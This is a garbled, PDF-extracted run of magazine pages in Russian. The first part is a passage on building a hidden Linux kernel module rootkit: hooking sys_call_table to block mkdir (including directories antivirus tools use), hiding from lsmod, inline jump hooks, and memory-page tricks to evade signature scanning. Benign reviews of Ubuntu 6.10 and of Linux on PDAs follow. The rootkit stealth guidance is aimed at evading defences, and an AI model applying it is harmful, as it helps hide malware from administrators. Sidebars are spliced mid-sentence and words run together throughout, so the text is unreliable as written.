переписать так:static int __init my_init()module_init(my_init);Пара замечаний. Перечень системных вызовов(вместе со способом передачи аргументов)лежит на docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html. В частности,SYS_mkdir принимает 2 аргумента: в EBXпередается указатель на имя создаваемойдиректории, в ECX — флаги,/ 111


unixoidDVDНа прилагаемомк журналу дискеты найдешь полнуюверсию файлаmodule-hide.c и всестатьи, на которыессылается мыщъх.Описание системных вызовов (вместе с аргументами),найденное в интернетеМеханизм реализации системных вызовов в LinuxiКакие именносистемные вызовыперехватыватьи как осуществлятьфильтрацию, можнопрочитать в любойстатье, посвященнойтехнологии созданияrootkit'ов, например:«Abuse of theLinux Kernel for Funand Profit» (Phrack#50), «Weakening theLinux Kernel» (Phrack#52), «Subproc_rootQuandoSumus» (Phrack#58), «Kernel RootkitExperiences»(Phraсk #61) и т.д./ 112xàêåðописанные в mkdir(2). При желании, проанализировав*EBX, мы можем блокировать создание толькоопределенных директорий, например тех, что используютантивирусы и прочие защитные средствапо умолчанию. Конечно, это демаскирует присутствиеrootkit'а, но до некоторой степени затрудняет его удалениеиз системы.Перехват syscall'ов осуществляется вполне стандартнои традиционно: ядро экспортирует переменную externvoid sys_call_table, указывающую на таблицу системныхвызовов, определения которых содержатся в файле/usr/include/sys/syscall.h. В частности, за mkdir закреплено«имя» SYS_mkdir.Объявив в модуле переменную extern void *sys_call_table[],мы получим доступ ко всем системным вызовам, которыетолько есть (включая нереализованные). old_mkdir = sys_call_table[SYS_mkdir] заносит в переменную old_mkdir указательна системный вызов SYS_mkdir, а sys_call_table[SYS_mkdir] = new_mkdir меняет его на new_mkdir, который долженрасполагаться в ядерной области памяти.Внимание: если забыть скопировать new_mkdir в предварительновыделенный блок памяти, то, после выгрузки модуля,SYS_mkdir будет указывать на невыделенную область памятии приложение, вызывавшее функцию mkdir, завершитсяс сигналом 11 — segmentation fault. Но ядро продолжитфункционировать в нормальном режиме, и никаких голубыхэкранов, которыми так славится NT, тут не произойдет.Необходимо отметить, что, на самом деле, ядро ничего не экспортирует(в привычной для NT-программистов трактовкеэтого слова). В каталоге /boot лежит файл System.map, содержащийсимвольную информацию обо всех «публичных» переменныхи процедурах ядра. Его-то загрузчик модулейи использует. Если этого файла нет (например, удаленадминистратором из соображений безопасности), определятьадрес таблицы символов приходится эвристическимпутем, но это уже тема отдельной статьи.Сборка и загрузкаКомпиляция модулей никакой сложности не представляет.Ключи, опции оптимизации и прочие специи— по вкусу. В общем случае командная строка должнавыглядеть так:# gcc — c module-hide.c — o mod-hidden.o -O2Если компиляция невидимого LKM-модуля прошла безошибок, то на диске образуется файл module-hide.o, готовыйк загрузке внутрь ядра командой insmod (для автоматическойзагрузки модуля вместе с операционной системойнеобходимо добавить его в файл /etc/modules):# insmod mod-hidden.oСистема тут же начнет ругаться на всех языках, которые толькознает (точнее, на тех, под которые ее локализовали), типамодуль не загружен, неверные параметры, инвалидныйIO или IRQ. Но не стоит волноваться. Все идетпо плану! Это просто результат работы return -1 вinit_module().Главное — то, что в списке загруженных модулей (выводимыхкомандой lsmod или ее аналогом dd if=/proc/modulesbs=1) наш модуль отсутствует, как будто бы мы никогда тудаего не загружали. Однако команда mkdir дает ошибку, убеждаянас в том, что резидентный код успешно обустроился наконспиративной квартире и ведет активную борьбу!# mkdir nezumimkdir: невозможно создать каталог'nezumi': Operation not permittedРезидентный код в камуфляжных штатахЗамаскироваться-то мы замаскировались, но подобноегрубое вторжение в таблицу системных вызовов навряд лисможет долго оставаться незамеченным. Существует кучаутилит, проверяющих целостность sys_call_table и автоматическивосстанавливающих ее, отбирая у резидентного кодавсе бразды правления. Но даже без них указатель на системныйвызов, расположенный вне ядра, вызывает слишкомбольшие подозрения.Чтобы не сгореть на первом же допросе, необходимо слегкаизменить тактику: оставить в покое sys_call_table и внедритьjump на резидентный код в начало перехватываемогосистемного вызова. Впрочем, jump в начале системныхвызовов — весьма популярный (а потому широко известный)способ перехвата, и опытные админы нас все равнозапалят. Чтобы избежать расправы, необходимо внедрятьсяне в начало, а в середину системных вызовов! А для этогонадо тащить за собой целый дизассемблер, посколькудлина x86‐инструкций непостоянна и варьируется в весьмашироких пределах. Однако можно пойти на хитрость и искатьплацдарм для внедрения эвристическим путем, напримерпо сигнатуре 85h C0h * 7xh, соответствующей конструкцииTEST EAX,EAX/Jx target. Звездочка означает, что между TESTEAX,EAX и Jx target может быть расположено02 /98/ 07


unixoidСправочная man-страница по функциям выделения ядерной памятинесколько машинных команд. Во избежаниеложных срабатываний не следует выбиратьрасстояние между 85h C0h и 7xh более четырехбайт. Естественно, внедряя jmp nearour_resident_code поверх TEST EAX,EAX..., необходимопредварительно сохранить затираемоесодержание в своем собственном буфереи выполнить его перед передачей управленияоригинальному системному вызову.Важно отметить, что подобный способ перехватане является на 100% надежными безопасным, поскольку существует ничтожнаявероятность, что выполнение процессабудет прервано в момент установки jump'аи тогда он рухнет. Но rootkit'ы об этом могутне беспокоиться, да и падения такие будутпроисходить не чаще, чем раз в сто лет.Маскируемся в адресном пространствеВот теперь мы замаскировались такзамаскировались! Только хвост все равноиз норы торчит, и наш резидентный кодможет быть найден тривиальным сигнатурнымпоиском путем сканирования памятиядра (естественно, при ус-ловии, что онизвестен антивирусам, а все популярныеrootkit'ы — известны им). Чтобы остатьсянеобнаруженными, необходимо использоватьлибо продвинутые полиморфныеметодики, либо один способ, о которомнельзя не рассказать.Сбрасываем страницы, принадлежащие нашемурезидентному коду, в no_access вешаем обработчикисключений, отлавливающий ошибкидоступа к памяти, и терпеливо ждем. Как тольковозникнет исключение, смотрим: если навершине стека находится адрес возвратав системный вызов (для этого перехват долженосуществляться командой CALL, а не jump), товозвращаем все атрибуты на место и даемxàêåð 02 /98/ 07зеленый свет на выполнение резидентногокода, а в момент передачи управления оригинальномусистемному вызову — отбираем атрибутыобратно. Если же резидентный код пытаетсячитать кто-то еще — подсовываем другую страницу(например, путем манипуляций с каталогомЧем выделять памятьДля выделения памяти ядро предоставляетбогатый ассортимент функций, описанныхв kmalloc(9). В первую очередьхотелось бы отметить функцию void*kmalloc(size_t size, int priority), где size— размер запрашиваемого блока в байтах(принимает одно из следующих значений:24, 56, 120, 244, 500, 1012, 2032, 4072,8168, 16360, 32744, 65512 или131048). В противном случае функция автоматическиокруглит размер блока в большуюсторону.Параметр priority задает стратегию выделенияпамяти. GFP_ATOMIC выделяет требуемуюпамять немедленно (при необходимостивытесняя другие страницы на диск); GFP_KERNEL резервирует блок памяти, выделяястраницы памяти по мере обращенияк ним; GFP_BUFFER никогда не вытесняетдругие страницы, и если запрошеннаяпамять недоступна, с выделением наступаетоблом. Существуют и другие стратегиивыделения, но нам они не интересны, посколькуфактически приходится выбиратьмежду GFP_ATOMIC и GFP_KERNEL. Обычноиспользуют GFP_KERNEL, так как он ведетсебя не столь агрессивно.Если нужно выделить всего одну страницупамяти, имеет смысл воспользоватьсяфункцией unsigned long __get_free_page(intpriority), где priority тот же самый, чтои у kmalloc(). Ее ближайшая родственницаget_free_page(int priority) отличаетсястраниц). Более сложные реализации не восстанавливаютатрибуты, а используют пошаговуютрассировку резидентного кода или даже эмулируютего выполнение, но это уже перебор.Все просто, только вот мыщъха терзают смутныесомнения на счет эффективности. Но ведьне он же этот трюк придумал! Так что можети покритиковать. Первое и самое главное.Читать резидентный код в памяти ядра могутне только антивирусы, но и само ядро привытеснении его на диск или переходев спящий режим. Как следствие— возникает конфликт, и rootkit работаетнестабильно. Второе — код обработчикаостается незащищенным (а защитить егоникак нельзя, поскольку кто-то же долженобрабатывать исключения), следовательно, он элементарно палится по сигнатурномупоиску. Как говорится, за что боролись, нато и напоролись. Так что без полиморфизманикуда! zтолько тем, что обнуляет память сразу жепосле выделения, что несколько снижаетпроизводительность. И к тому же мы всеравно будем копировать резидентный кодчерез memcpy(), так что содержимое страницынам не критично.Определения всех функций (с краткимикомментариями) содержатся в заголовочномфайле linux/mm.h.Грабежотладочного выводаФункция printk(), используемая нами, позволяетгенерировать отладочный вывод, которыйне появляется на экране, чтобыне смущать пользователей обилием техническойинформации, в которой они всеравно ни разу не разбираются. Что ж, вполнелогично, что отладочный вывод долженбыть доступен только разработчикам, но какже до него добраться? NT имеет«Системный Журнал» (и притомне один), но в Linux'е ничего похожегонет, и отладочный вывод бесхитростновалится в текстовый файл /proc/kmsg, которыйможно прочитать утилитой cat:# cat /proc/kmsg > filenameЛучше использовать специализированныесредства, вроде штатной утилиты dmesg илииксовой гляделки:# xconsole -file /proc/kmsg/ 113


unixoidЛинуксдля людей:Сергей Супрунов/ amsand@rambler.ru /10Появившись пару лет назад, он уже через несколько месяцев прочно завладел вершинойрейтинга DistroWatch.com, оставив своим конкурентам — могучим OpenSUSE,Mandriva и Fedora — возможность сражаться лишь за второе место. Открытость и мощнаякоммерческая поддержка стали той адской смесью, которая заставила взорватьсямир Linux. В октябре 2006 года вышла новая версия этого уже легендарного дистрибутива— Ubuntu 6.10, призванная снова потрясти мир. Вот в него-то мы и заглянем.С чего все начиналосьНе так давно — в октябре 2004 года — на светпоявился «еще один» дистрибутив Linux.Патронируемый мультимиллионером МаркомШаттлвортом, он получил имя Ubuntu (чтов переводе с одного из африканских языковозначает «гуманность в отношении к другим»)и номер версии 4.10 — в соответствиис годом и месяцем релиза. Да и несолиднокак-то было выходить на рынок с версией1.0, где царствовали SUSE 9.1, Fedora 2,Mandrakelinux 10.1. Эта традиция нумерациисохраняется и сейчас. Вообще, разработчикиUbuntu стараются придерживатьсястрогого полугодового цикла новых релизов— потом были 5.04, 5.10… Правда, 6.04 былперенесен аж на 6.06, потому что его выпускалис прицелом на корпоративный рыноки хотели сделать максимально стабильным.Кстати, 6.06 вышел с долгосрочной поддержкой(LTS — long time support), то есть егопользователи могут получать обновленияв течение трех лет (для серверного варианта— в течение пяти).А вот на версии 6.10, которая была оперативно/ 114xàêåðвыпущена за четыре месяца, разработчикирешили наверстать упущенные 2 месяца и вернутьсяв прежний график релизов. В отличиеот 6.06, эта версия получилась достаточнопередовой. Впрочем, о версиях вошедшихв него пакетов у нас еще будет повод поговоритьчуть позже.Почему Ubuntu так крут?Чем же Ubuntu завоевал такую любовь публики?От других популярных дистрибутивов его,прежде всего, отличает родство с Debian и, какследствие, поддержка репозитариев открытогоПО, разрабатываемого обширным сообществомпользователей. Но в отличие от родителя, релизыкоторого радуют нас редко и нерегулярно,Ubuntu старается четко выдерживать полугодовойцикл, благодаря финансовому содействиюШаттлворта и основанной им компанииCanonical Ltd. Также можно отметить оченьхорошую поддержку оборудования. Наконец,в качестве основной цели Ubuntu всегда декларировалосьсоздание системы, максимальнопростой для новичков в мире Linux и в то жевремя удобной и полезной для квалифицированныхпользователей. Учитывая высокуюпопулярность дистрибутива, разработчикамудалось совместить несовместимое.Итак, приступим к осмотру.«Живой» дискПоследнее время стало модно совмещатьинсталляционные диски с LiveCD. Так поступаюти в Gentoo, начиная с 2006.0 (правда, инсталлятортам очень часто прибивал насмертьтаблицу разделов жесткого диска, но в 2006.1ребята исправились); в Ubuntu впервые такаясхема была опробована на 6.06 (5.10 шла еще надвух дисках: один — LiveCD для «попробовать»,второй — для инсталляции на жесткий диск).Это означает, что, получив один CD-диск, тывставляешь его в привод, загружаешься и имеешьполноценную рабочую среду дистрибутиваUbuntu. Можно проверить, насколько хорошораспозналось твое оборудование, попробоватьвоспроизвести различные звуковые и видеофайлы,которые можно найти в каталогеExamples на рабочем столе... Кстати, там естьфайлик Experience ubuntu.ogg — это видеозапись,в которой Нельсон Мандела объясняетзначение слова «ubuntu».Более того, ты можешь даже полноценно поработатьв OpenOffice.org или Firefox. Понятно, чтомедленная скорость работы с CD не позволитполучить от этого процесса должное удовольствие,но, по крайней мере, можно будет убедиться,что все функционирует.02 /98/ 07


unixoidсновав десятку10Обзор Ubuntu 6.10 — новой версии самого популярного дистрибутиваПравда, должен заметить, что мне этот LiveCD непонравился — слишком уж все медленно (хотяне исключаю, что всему виной мой привод), даи 256 Мб для полного счастья явно не хватает.Кстати, небольшой совет — если вручнуюсмонтировать своп (его все равно придетсясоздавать, если надумаешь «прописывать»Ubuntu на своем винчестере), то работа пойдетзаметно шустрее:# echo "/dev/hda5 none swap sw 0 0">> /etc/fstab# swapon -aВ этом примере /dev/hda5 — раздел, созданныйкак своп. Если его еще нет, то можносоздать, попрактиковавшись с утилитами fdiskи mkswap.Итак, убедившись, что все работает и, самоеглавное, что оно тебе нравится, можно запускатьинсталляцию. Иконка лежит прямо на рабочемстоле. Двойной щелчок — и переходим кустановке...По местам стоять!Установка состоит всего из шести простыхшагов. На первом тебя попросят выбрать язык,на котором с тобой будет общаться инсталлятори который в дальнейшем будет принят в качествеосновного во вновь установленной системе.Русский среди предлагаемых вариантовприсутствует (в случае с Ubuntu вообще сложноxàêåð 02 /98/ 07/найти язык, для которого он не локализован), и,забегая вперед, скажу, что качество локализациидистрибутива довольно высокое.На втором шаге нужно будет выбрать часовойпояс и подправить текущее время. Если вдругвсе будет предложено правильно по умолчанию,но инсталлятор откажется выпускать тебя наследующий шаг, просто сделай вид, что ты чтотоменяешь, и щелкни «Далее» еще раз.Шаг третий — выбор раскладки клавиатуры.Рекомендую отметить «Russia — Winkeys»,впрочем, это уже кому как удобнее.Подходим к более серьезным вещам. Начетвертом шаге нужно будет создать для себяучетную запись в системе — здесь важно незабыть введенный пароль. Кстати, пусть тебяне смущает, что нигде не предлагается ввестипароль суперпользователя. Так надо.А теперь самый серьезный шаг — нужно подготовитьразделы, куда будет выполняться установка.Если ты готов отдать под Ubuntu весь диск— смело выделяй второй пункт. Третий пойдет,если на диске точно есть свободный раздел, нолень его отмечать вручную, система сама егонайдет и разметит. В особо тяжелых случаях,когда приходится лавировать между разделамиWindows и FreeBSD, при этом не зацепляя своп,лучше прибегнуть к ручному разбиению диска.Даже если что-то сломаешь, то, по крайней мере,точно будешь знать, кто в этом виноват ;-).Дележ диска выполняется в 2 этапа. На первомнужно будет с помощью утилиты GParted подготовитьнеобходимые разделы (как минимумпотребуется один раздел под корень и одиннебольшой — под своп). На втором этапе надоназначить разделам точки монтирования.Особенно внимательно отнесись к «птичкам»справа — если ты хочешь подключить к новойсистеме какой-то из существующих разделовс имеющимися на нем данными (например, такудобно таскать за собой домашний каталог изсистемы в систему), то обязательно убедись, чтопереформатирование не отмечено.Ну, и чисто формальный шестой шаг — нужновнимательно прочитать сообщение инсталляторао том, что он сейчас собирается сделать,и нажать заветную кнопочку «Install» — пути назадуже не будет. Копирование займет минут 20(если машина достаточно быстрая, то в это времяможно здесь же поиграться или побродить поинтернету), после чего следует перезагрузиться.На этом этапе тебя ждет одна неприятность— Ubuntu молча ставит свой любимый GRUB (нашестом шаге можно попытаться указать другойраздел для его инсталляции), так что будь готовк тому, что он и станет твоим загрузчиком поумолчанию.Первое знакомствоС внешним видом загрузчика разработчики решилидолго не возиться — неброское черно-белоеменю и все. Сразу вспоминается шикарныйфон загрузчика Gentoo и становится немножкогрустно... Впрочем, главное — внутри.115


unixoidhttp://www.ubuntu.com— основной сайтдистрибутива.www.debian.org— много полезногоможно найти на сайте«родителя».easyubuntu.freecontrib.org— здесь лежитEasyUbuntu.iНе забывай, чтоUbuntu — дистрибутивоткрытый. Еслитебе что-то в немне нравится илихотелось бы сделатьлучше, присоединяйсяк сообществуи вноси свой посильныйвклад!/ 116xàêåðМожет, и не слишком привлекательно, зато работаетпочти на любом терминалеЗагрузка, по сравнению с предыдущей версией 6.06, выполняетсянесколько быстрее, хотя и не столь информативно— никакие сведения о выполняемых действиях на экран невыводятся. Введя логин и пароль созданного в процессеустановки пользователя, мы попадем в среду Gnome — в отличиеот некоторых других дистрибутивов, здесь не предлагаютсяна выбор различные рабочие столы и т.д. Благодаряэтому, в частности, дистрибутив и разместился достаточновольготно на одном-единственном CD-диске.Ну а для ценителей KDE предлагается Kubuntu.Из чего же собран этот дистрибутив? Ядро — 2.6.17-10, Xorg— 7.1.1, Gnome — 2.16.1. Этими тремя компонентами, побольшому счету, и определяются основные особенности системы,такие как поддержка оборудования, автомонтированиедисков и флешек, скорость загрузки и работы, частично— внешний вид.Что особенно порадовало меня как владельца ноутбука, такэто улучшенные опции управления питанием. Например,появился ждущий режим (в 6.06 «из коробки» присутствовалтолько спящий). Настройки энергосбережения («СистемаПараметрыУправление питанием») можно выполнятьраздельно для режимов «Работа от сети» и «Работа от батареи».Изменение частоты работы процессора (если тот ееподдерживает) тоже функционирует превосходно.Вместе с обновленной средой Gnome пришли Tomboy (весьмаудобная гипертекстовая записная книжка в стиле Wiki)и апплет «Липкие записки», позволяющий быстро, пока незабылось, «прилепить» на монитор какую-нибудь заметку.Помимо достаточно стандартного для Gnome набора «мелочевки»,в Ubuntu 6.10 входят:• OpenOffice.org 2.0.4: самая свежая на момент выхода дистрибутиваверсия одного из мощнейших офисных пакетов(кстати, по сравнению с 2.0.2, скорость загрузки стала заметновыше, но хотелось бы, чтобы он работал еще быстрее).• Firefox 2.0: тоже «последний писк» самого популярногов среде Linux браузера.• Evolution 2.8.1: почтовый клиент, претендующий на то,чтобы встать в один ряд с Outlook от Microsoft.• Gimp 2.2.13: вездесущий графический пакет. К сожалению,разработчики дистрибутива не дождались версии 2.4,а «девелоперскую» 2.3 включать не рискнули.• Ekiga 2.0.3: IP-телефон с поддержкой SIP и H.323.• Gaim 2.0.0beta3.1: один из самых популярных в средеGnome IM-пейджеров.Присутствует и россыпь программ для просмотра различныхграфических и pdf-файлов, для работы с видео и звуком,с фотографиями и т.д. Правда, Ubuntu постигла та же беда,что и большинство открытых дистрибутивов: в поставкеПервым делом лезем в настройкии даже в репозитариях отсутствуют закрытые программы(например, Opera, хотя ее deb-пакет всегда можно забратьс opera.com), а также инструменты для работы с закрытымиформатами файлов. Это означает, что в свежепоставленномUbuntu прослушать mp3‐файл тебе не удастся. Но этапроблема решается достаточно легко: с сайта easyubuntu.freecontrib.org скачиваем утилиту EasyUbuntu, устанавливаемее, инсталлируем ключ, которым будет проверятьсяподлинность пакетов, и запускаем:$ wget http://easyubuntu.freecontrib.org/files/easyubuntu_latest.deb$ sudo dpkg -i easyubuntu_latest.deb$ wget http://packages.freecontrib.org/ubuntu/plf/12B83718.gpg -O — | sudo apt-keyadd -$ easyubuntuНа вкладках появившегося окна отметь то, что хочешь установить,— кодеки, проприетарные драйверы для видеокартNVidia и ATI, Macromedia Flash, Java, Skype, RAR, шрифтыMicrosoft... Только учти, что объем закачки может оказатьсявесьма значительным.Управление пакетированиемПонятно, что хотя входящие в дистрибутив пакеты и способныудовлетворить достаточно широкий диапазон потребностей(мне, например, для полного счастья разве что XSoldierне хватило), тем не менее, рано или поздно возникаетжелание поставить что-то еще. Так как в основе Ubuntu лежитDebian, то к твоим услугам — необозримые репозитарииdeb-пакетов на все случаи жизни. Правда, поскольку на одинCD много не влезет, практически все придется устанавливатьиз Сети.Из инструментов для работы с пакетами в системе присутствуютследующие:• APT: знакомый пользователям Debian и отечественногоALTLinux инструментарий. С помощью утилит /usr/bin/apt-getи /usr/bin/apt-cache можно решать практически все задачипо управлению пакетами в системе. Дополнительная информация— на man-страницах apt(8), apt-get(8), apt-cache(8),apt.conf(5), sources.list(5). Другие средства, описанные ниже,во многом опираются на APT, так что хотя бы поверхностноезнакомство с ним не помешает в любом случае.• aptitude: эту утилиту можно рассматривать как очень удобныйфронт-энд к инструментарию APT. Запустив ее без ключей,ты увидишь псевдографическую среду, позволяющуюв визуальном режиме работать с установленными в системе02 /98/ 07


unixoidИ контакты, и заметки, и календарь — чем не MS Outlook?А вот так уже намного приятнее работать с пакетами!пакетами, инсталлировать новые и т.д. Помимоинтерактивного режима работы, поддерживаетсяи командный, как в случае apt-get/apt-cache(на мой взгляд, более удобный).• Synaptic: графическая «надстройка» над APT,предоставляющая все возможности aptitude,но в более удобном графическом окне. Здесьже можно парой щелчков мышью подключитьдополнительные репозитарии пакетов, а не возитьсяс редактированием /etc/apt/sources.list.Кстати, этим файлом руководствуются все 3инструмента, упомянутые на данный момент.• dpkg: это уже инструмент для работы непосредственнос deb-пакетами, а не с репозитариями.То есть если ты раздобыл где-то deb-пакет,то попытаться установить его можно простойкомандой:# dpkg -i opera-static_9.02-20060919.1‐qt_en_i386.debВыше я сказал «попытаться установить», потомучто в этом случае тебе придется самому разбиратьсясо всеми зависимостями, если таковыеобнаружатся.• dselect: интерактивная оболочка к dpkg.Правда, в текущей версии дистрибутива мнене удалось нащупать кодировку, которая бы позволилапонять, что написано в локализованномварианте. Так что для работы приходится сначалаустанавливать английский язык:с правами root (очевидно, что они необходимыдля установки/удаления пакетов), если парольсуперпользователя мы нигде не задавали?Фокус в том, что Ubuntu не предполагает работуот имени root, довольно настойчиво приучаяпользователя к утилите sudo. То есть, чтобывыполнить какую-то рутовую команду, следуетпоступать таким образом:$ sudo vi /etc/fstabКогда система запросит пароль, нужно ввестисвой пользовательский. Просто чтобы подтвердить,что ты — это ты… Правда, иногда приходитсявыполнять довольно большую «административную»работу и в каждой строчке набирать по5 лишних символов («sudo» + «Пробел»). На этотслучай есть обходной маневр: введи «sudo su»или «sudo sh» — и к твоим услугам привычнаярутовая командная строка.Есть и более официальный путь — терминалсуперпользователя. Однако он довольно глубокозапрятан. Открой «Система Параметры Редактор меню» и в разделе «Системные»отметь соответствующий пункт. Заодно, руководствуясьсвоими предпочтениями, можноскрыть или включить другие пункты.Кстати, здесь, в «Параметрах», система довольногибко подстраивается под свои нужды.Более серьезные настройки, такие как «Сеть»,«Сервисы», «Установка пакетов» и т.д., вынесеныв раздел меню «Администрирование». Привыборе каждого из этих пунктов тебя попросятввести пароль — как и в случае с sudo, вводитьнужно свой пароль пользователя.ЗаключениеКак видишь, Ubuntu — достаточно удобный дляработы дистрибутив. Он очень хорошо подходитдля первого знакомства с Linux. Он превосходендля тех, кто хочет просто работать в Linux,а не ковыряться в ядре и пакетах бессонныминочами — с ним можно почти не думать об особенностяхсистемы. С каждым новым релизомчувствуется заметный прогресс, и в то же времяопределенная сдержанность разработчиковгарантирует высокое качество и стабильностьдистрибутива. zМаленькая, да удаленькая утилитка — и никаких проблем с закрытыми пакетами# export LANG=en_us.UTF-8# dselect• GDebi: графическая утилита, являющаяся фронтэндомк dpkg. Именно она будет запускаться, еслив Nautilus дважды щелкнуть по deb-файлу.Как видишь, в способах работы с пакетами ты нив коей мере не ограничен. Ну и, само собой, никтоне запрещает тебе собирать приложения вручную.Административный аппаратДумаю, после прочтения предыдущего разделау тебя возник вопрос: а как же мы работаемxàêåð 02 /98/ 07/ 117


unixoidВиктор Евгеньев/ evgenyev@inbox.ru /Приручениекарманного туксаПолноценная Linux‐система на твоем КПКLinux на карманном компьютере — зачем это нужно? Действительно, зачем, еслис каждым КПК идет ОС, к которой нет никаких серьезных претензий и для которой разработаноогромное количество софта? Ответ кроется в функциональности. Microsoftумудрилась низвести такое великолепное устройство, как наладонник, до электронногоорганайзера с мультимедиа-функциями! Притом с крайне неудачным интерфейсом.После установки Linux ты получишь полноценную машину, на которую при желанииможно установить любой машинно-независимый пакет из огромного репозиторияGNU / Linux, где даже самый взыскательный пользователь найдет себе необходимуюпрограмму./ 118xàêåð 02 / 98 / 07


unixoidНастраивается все, абсолютно все! Панель управления Вот так может выглядеть рабочий столВсегда есть выборПосле установки Linux на КПК ты можешь использоватьядро стандартное или свое, заюзатьпонравившуюся графическую оболочку илидописать любую из существующих. О выборесофта я уже и не говорю (к слову, встроеннаяв Windows Mobile программа Excel по всем параметрампроигрывает прекрасно работающемуGnumeric, а, например, чем Firefox лучше IE, иговорить не надо). Широчайший простор длятворчества, работы и исследований! Ты воленизменять все что угодно, ведь это Linux!Работа с сетью, как всегда, на высоте. Болеетого, КПК можно превратить в любой сервер,какой пожелаешь, и он будет работать. К тому жеприсутствуют и приятные дополнительныебонусы, например звуковые карты, которые вWindows функционировали исключительно вполудуплексном режиме, а в Linux работают честно,на полную мощность. А в некоторых моделяхHP iPAQ есть возможность вывести внешнийUSB-коннектор, чтобы подключить к КПК мышку,клавиатуру, принтер, кардридер и flash‐карту,ведь поддержка USB-host'а есть только в Linux!Подробнее об этом читай во врезке.GUIНа текущий момент для КПК существуют двадинамично развивающиеся графическихпользовательских интерфейса: GPE (используетX Windows System и GTK в связке с widget toolkit)и OPIE (одна из ветвей окружения Qtopia фирмыTrolltech). У каждой из этих GUI имеются какплюсы, так и минусы. Однако ситуация напоминаетконкуренцию KDE и GNOME на большихкомпьютерах — фанатики ведут священныевойны, а пользователи работают в той среде,которая им больше приглянулась. Я все же рекомендуюGPE — для этой разработки существуетбольшее количество готового софта.xàêåð 02 / 98 / 07СовместимостьУвы, пока не для всех КПК есть собранныедистрибутивы. Больше всего повезло, конечно,владельцам наладонников от HP, ведь именнодля них был создан один из самых всестороннепротестированных и поддерживаемыхдистрибутивов — Familiar Linux. Однаковладельцам других моделей отчаиваться рано— на сегодняшний день Familiar поддерживаетдостаточно большое количество моделей, крометого, это не единственный дистрибутив — естьеще Angstrom, Maemo… А как показываетпрактика, портирование ядра для конкретноймодели — это не такая невыполнимая задача,как кажется на первый взгляд.УстановкаДля установки дистрибутива Familiar на КПК,прежде всего, необходимо иметь:1. обычный комп с любым современным дистрибутивомLinux (установка с Windows‐системтакже возможна, но осуществляется сложнее);2. flash‐карта CD / CF объемом от 128 Мб;3. RS232 или USB.Кабель лучше иметь RS232, так как с его помощьюможно отслеживать загрузку ядра в режимереального времени, даже если экран КПК неработает. К тому же не потребуется никакихдополнительных программ, установку можнобудет провести с любой платформы. Инсталляцияпосредством USB‐кабеля возможна толькос Linux-ПК, имеющего пропатченное ядро(usbnet).Первым делом необходимо сохранить всюинформацию с карточки и памяти КПК где‐нибудьв надежном месте и полностью зарядитьаккумулятор. Далее предполагаем, что у насесть дистрибутив, работающий именно с нашеймоделью КПК, RS232‐кабель, Linux‐десктоп,КПК с CD flash‐картой.Вариант 1: загрузка без перепрошивкиBootLoader'аДля загрузки без перепрошивки BootLoader'анам понадобится haret — программа для загрузкиядра из окружения Windows. Последовательностьдействий будет такова:1. Разбиваем карточку на два раздела: один— FAT, другой — ext2.2. Создаем папку на FAT-разделе, в которойбудет установлен Linux, допустим / lin /.3. Ищем в дистрибутиве ядро (название начинаетсяс zImage, переименовываем в kernel),копируем kernel в / lin /.4. Создаем в / lin / обычный текстовый документ сименем startup.txt следующего содержания:Настройка загрузки ядраset KERNEL kernelset MTYPE 341set CMDLINE «root= / dev / mmcblk0p1noinitrd cachepolicy=writebackconsole=ttyS0,115200n8console=tty0»bootlinuxДля карточек CF запись «root=/ dev / mmcblk0p1»следует поменять на «root=/ dev / hda1».5. Копируем haret в / lin /.6. Копируем rootfs на раздел с ext2.7. Запускаем wrap-haret.exe и ждем загрузки.Вариант 2: полноценная установкаДля реализации этого варианта нам нужнапрограмма установки загрузчика BootBlasterи непосредственно сам загрузчик *.bin. Всеэти файлы мы можем найти в дистрибутиве.Сначала поставим загрузчик: для этого запускаемBootBlaster, выполняем сохранениеWindows и старого загрузчика («Flash SaveBootldr.gz» и «Flash Save Wince.gz»), теперь/ 119


unixoidiНа рынке есть иКПК с уже предустановленнымLinux'ом— это Nokia 770 имногие модели отSharp.DVDНа прилагаемомк журналу дискеты найдешь всенеобходимыеконфигурационныефайлы и скрипты дляподключения КПКк интернету черезмобильный телефон.http://opie.handhelds.org— сайт проекта Opie.tuxmobil.org — все,что связано с переносомLinux'а на мобильныеустройства.www.handhelds.org— крупнейшийсайт, посвященныйоткрытому программномуобеспечениюдля КПК./ 120xàêåðРабота в терминалкеперепрошиваем загрузчик («FlashProgram»), послеэтого обязательно проверяем корректность установки(«Flash Verify»). В случае некорректной прошивки,повторяем процедуру еще раз, если и это не помогает,восстанавливаем стандартный загрузчик.Теперь приступаем к установке системы. ПодключивКПК к компьютеру (через COM-порт), мы получимполноценный Linux-терминал, приконнектиться ккоторому можно при помощи любой терминальнойпрограммы. Параметры подключения: 115200; 8N1;flow control — отключено; hardware handshaking— отключено.После подключения получаем приглашение от системы,вводим команду «load root», далее, используяпротокол Y-modem, посылаем на КПК файл с расширением*. jffs2, извлеченный из дистрибутива. Этодовольно длительная операция. Когда же мы сноваувидим системное приглашение, введем команду«boot». Все, система установлена!Пересборка ядра и приложенийПроцедура портирования ядра на разные модели КПКможет существенно варьироваться, поэтому приведулишь общие рекомендации. Если ни твой КПК, ни егоближайшие по архитектуре родственники не имеютподдержки со стороны дистрибутивов, то необходиморазобрать его (гарантия после такой процедуры,естественно, идет лесом), считать все маркировкии идентифицировать их. Тут тебе могут помочь либоинтернет, либо специальные каталоги, либо знакомыйиз сервисного центра. Необходимо любым из доступныхспособов получить уникальный MACHINE IDи найти JTAG-интерфейс. Далее нужно узнать, какиеиз работающих на Linux КПК используют те же чипы,что и твой КПК. После этого берется ядро для такогоКПК и из него вытаскивается модуль, соответствующийчипу устройства, иначе переделывается готовыймодуль для его ближайших родственников.Таким образом и собираются ядра, так как 99% КПКна рынке построены на сходной аппаратной базе.Для всей процедуры нам потребуется haret — великолепнаяпрограмма для реверсного инжиниринга, точнее,ее переделанная версия, которая не сбрасываетсостояния устройств, что позволяет не инициализироватьих в ядре. После этого пишется (переделывается,копируется) NAND-драйвер. Все это можно проделатьпри помощи автоматизированно й системы сборкиOpen Embedded, огромным плюсом которой являетсясоздание собственного дистрибутива с собственнымипрограммами и пропатченным ядром. Однако удовольствияот этого мы не получим никакого, поэтомубудем делать все вручную.Первым делом скачиваем пакет для кросс-компиляцииprebuild toolchain, забираем приглянувшуюсяверсию ядра и устанавливаем заголовочные файлы нанаши исходники (ln -s). Теперь ищем по всей паутинепатчи на наше ядро, которые, как нам кажется, будутнужны, и устанавливаем их. Компилируем ядро и,если все идет нормально, ставим модули, после чегоредактируем make-файл (прописываем корректныепути к 